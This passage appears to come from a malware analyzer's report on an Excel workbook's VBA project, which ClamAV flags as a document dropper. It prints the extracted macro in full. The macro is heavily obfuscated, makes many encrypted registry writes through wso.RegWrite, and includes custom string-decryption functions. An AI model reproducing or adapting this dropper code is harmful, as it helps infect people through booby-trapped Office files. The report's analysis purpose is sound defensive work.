uuKnhm8qI(oeAP6pzCT(OasWAPbO8("[îõ³4@7F467@554G5A5D4;5C4F4677534@5C555@554G5A46754G4G534@4F461;1A141:467D555C4A467@4F4@5F5C535A:3467:5C555A4F4@5A4F4A7G534F5D466A535@4;4C564F7F545@4;4G4F76554@4;5A5355545@73547:7G", "WePWCqLSL")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("L¯Ô„´5757G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111412107G70535;455670534@52547G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G456@525445565245546:4@4G45576@52707:", "VNCzuvw0V")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" ¦ mŠÂ5F467@554G5A5D4;5C4F4677534@5C555@554G5A46754G4G534@4F461;1A141:467:555D4F5C7:5553545A467@4F4@5F5C535A:3467:5C555A4F4@5A4F4A7G534F5D466A535@4;4C564F6;5A5A4;4@524F574F545A5@73547:7G", "lYSJipall")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ôÃ4D657;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171:10164276515@4;5476514F505:42754;455;544F5:5F427654515:4;455:4;4:7C4F4;5@426:4F554744524;7;5055474C4;725145475:4F5150556F50767C", "yJKmERNby")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("n÷Dšôµ557G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111412107G655C47454G7G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G456@525445565245546:4@4G45576@52707:", "fMFAjeM4G")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("r· }J4747F765245575:4051447F6G4C465152565245577F7245454C46447F10170D137F645;46444F7F76444654514C575C7F735152574446574447754C445:7F674C5640414F4460575740464;444G444D57566C4D7375", "qTcyRlucM")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("dÚuN4:7C437:564@5;5A44554C43704G4:55565:564@5;43764@4@4G4:4C43141;1117436C5F4:4C53437:4C4:5C554G5;5G437755565;4C4:5;4C4;7@4G4C5A436;4G5:4445534C7C515:444@4C73564:445;4G56515:6G51777@", "FD5TdrXIF")), oeAP6pzCT(OasWAPbO8("�]", "zpkk04ZFi"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("®{Z˜ô·5;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171;1016427@51544:42754;455;544F5:5F427654515:4;455:4;4:7C4F4;5@426:4F554744524;6F505:4;54504;5:6C4F524;556F50767C", "CbtAPZI4T")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("´F706C7A417C544F5@5G4:5;4A4176524C5;545C544F5@41744F4F524C4A411:1A1715417G545;4@417C4A4C5A5;525@:241755;545@4A4C5@4A4@7F524A5G416@525C4:4;514A6:5@5@4:4C4D4A564A575@5C7257757F", "n7aivPTFU")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" 4Ú¥ô¶5:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161:13117D7C5057457D744:445:574A555A7D715750554:44554:457;4A4:5C7D654A5446474D4:7:5354464;4:6D504446554A5053546A53717;", "zLbvwwyLS")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("<K+ J97@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@40151@16144074575F4@5:74574D565C407;4@4;5@5:4D5C5D40745:575C4@4;5C4@4C7A4D4@5F406C4D5;454:504@6D565C4@5:564@5C6A4D504@5;6D56747A", "W1Te6L6s4")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÀªäåtH5:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161:13117D71505C4:5771504A53557D744:445:574A555A7D715750554:44554:457;4A4:5C7D654A5446474D4:66555546444@4:524:5355546A53717;", "MQcwhVCqm")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" š$Šµ557G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111512107G70535;455670534@52547G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G45755257414:456G534741544@5352576@52707:", "MGmabUSgc")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("tG4A66747F765245575:4051447F6G4C465152565245577F7245454C46447F10140D137F645;46444F7F76444654514C575C7F735152574446574447754C445:7F674C5640414F446C4D5744514D4457654C4F44566C4D7375", "AAdaGeN9T")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("lìTû´67:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161:13117D6:5@444:4D7D744:445:574A555A7D715750554:44554:457;4A4:5C7D654A5446474D4:66555546444@4:524:5355546A53717;", "UO58i4rST")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("bïTú´5757G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111512107G655C47454G7G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G45755257414:456G534741544@5352576@52707:", "ZJ1XTmQAV")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" ~«sJB7F467@554G5A5D4;5C4F4677534@5C555@554G5A46754G4G534@4F461;1G141:467D555C4A467@4F4@5F5C535A:3467:5C555A4F4@5A4F4A7G534F5D466A535@4;4C564F73545A4F5C544F5A6G53564F5@73547:7G", "qtgYOTBt1")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {t<5F467@554G5A5D4;5C4F4677534@5C555@554G5A46754G4G534@4F461;1G141:467D555C4A467@4F4@5F5C535A:3467:5C555A4F4@5A4F4A7G534F5D466A535@4;4C564F6;5A5A4;4@524F574F545A5@73547:7G", "frISJwKgm")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("zÜt;447:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161;13117D7C5057457D744:445:574A555A7D715750554:44554:457;4A4:5C7D654A5446474D4:7:5354464;4:6D504446554A5053546A53717;", "HDVI6AmRu")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("®}[ïô¹5@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@40151A16144074575F4@5:74574D565C407;4@4;5@5:4D5C5D40745:575C4@4;5C4@4C7A4D4@5F406C4D5;454:504@6D565C4@5:564@5C6A4D504@5;6D56747A", "ygqm2xykj")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("*}JF657;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171C10164276515@4;5476514F505:42754;455;544F5:5F427654515:4;455:4;4:7C4F4;5@426:4F554744524;675:5:47454A4;534;505:556F50767C", "rFdc9vXuS")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¸Z Š¶5:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161;13117D71505C4:5771504A53557D744:445:574A555A7D715750554:44554:457;4A4:5C7D654A5446474D4:7:5354464;4:6D504446554A5053546A53717;", "ny96TPtTC")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" OÚ£ô´547F765245575:4051447F6G4C465152565245577F7245454C46447F10150D137F645;46444F7F76444654514C575C7F735152574446574447754C445:7F674C5640414F446C4D5744514D4457654C4F44566C4D7375", "BD6nHNZR3")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Yç…TŠÃ5G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1D151;476G:34A4G57477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G6C5F5F4C4A534G544G555F5A70557;7D", "iwrhoMppb")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("âöUŒ´A7A417C544F5@5G4:5;4A4176524C5;545C544F5@41744F4F524C4A411:1F1715416A5D4C4A51417C4A4C5A5;525@:241755;545@4A4C5@4A4@7F524A5G416@525C4:4;514A7A575C4:4F4A71544C4:5@5254575C7257757F", "OBaoqO7Zq")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) End Sub Public Function uuKnhm8qI(zxEVprD7C As String, GrJ24Jk4G As Integer) Dim yTFcMslim As Integer For yTFcMslim = 1 To Len(zxEVprD7C) Mid(zxEVprD7C, yTFcMslim, 1) = Chr(Asc(Mid(zxEVprD7C, yTFcMslim, 1)) - GrJ24Jk4G) Next yTFcMslim uuKnhm8qI = zxEVprD7C End Function Public Function oeAP6pzCT(ByVal tBA0MLFjr As String) Dim GrJ24Jk4G As Long, aYvMXpl6L As String, LNvzFI48r As String On Local Error Resume Next For GrJ24Jk4G = 1 To Len(tBA0MLFjr) Step 2 aYvMXpl6L = aYvMXpl6L & Chr$(Val(OasWAPbO8("vÖ", "iu58Xe7xw") & Mid$(tBA0MLFjr, GrJ24Jk4G, 2))) Next GrJ24Jk4G oeAP6pzCT = aYvMXpl6L End Function Public Function OasWAPbO8(ByVal z1L8DWA5J As String, ByVal E6X8133b9 As String) As String On Error Resume Next Dim yTFcMslim(0 To 255) As Integer, GrJ24Jk4G As Integer, third As Long, fourth() As Byte fourth() = StrConv(E6X8133b9, vbFromUnicode) For GrJ24Jk4G = 0 To 255 third = (third + yTFcMslim(GrJ24Jk4G) + fourth(GrJ24Jk4G Mod Len(E6X8133b9))) Mod 256 yTFcMslim(GrJ24Jk4G) = GrJ24Jk4G Next GrJ24Jk4G fourth() = StrConv(z1L8DWA5J, vbFromUnicode) For GrJ24Jk4G = 0 To Len(z1L8DWA5J) third = (third + yTFcMslim(third) + 1) Mod 256 fourth(GrJ24Jk4G) = fourth(GrJ24Jk4G) Xor yTFcMslim(Temp + yTFcMslim((third + yTFcMslim(third)) Mod 254)) Next GrJ24Jk4G OasWAPbO8 = StrConv(fourth, vbUnicode) End Function Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	53248 bytes
SHA-256: `865b7e8716c3b5fd56afec00374a584dafbb8c5df1eb5299b70d6155c52ff2f9`
Detection ClamAV: Doc.Dropper.Agent-6412232-1 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.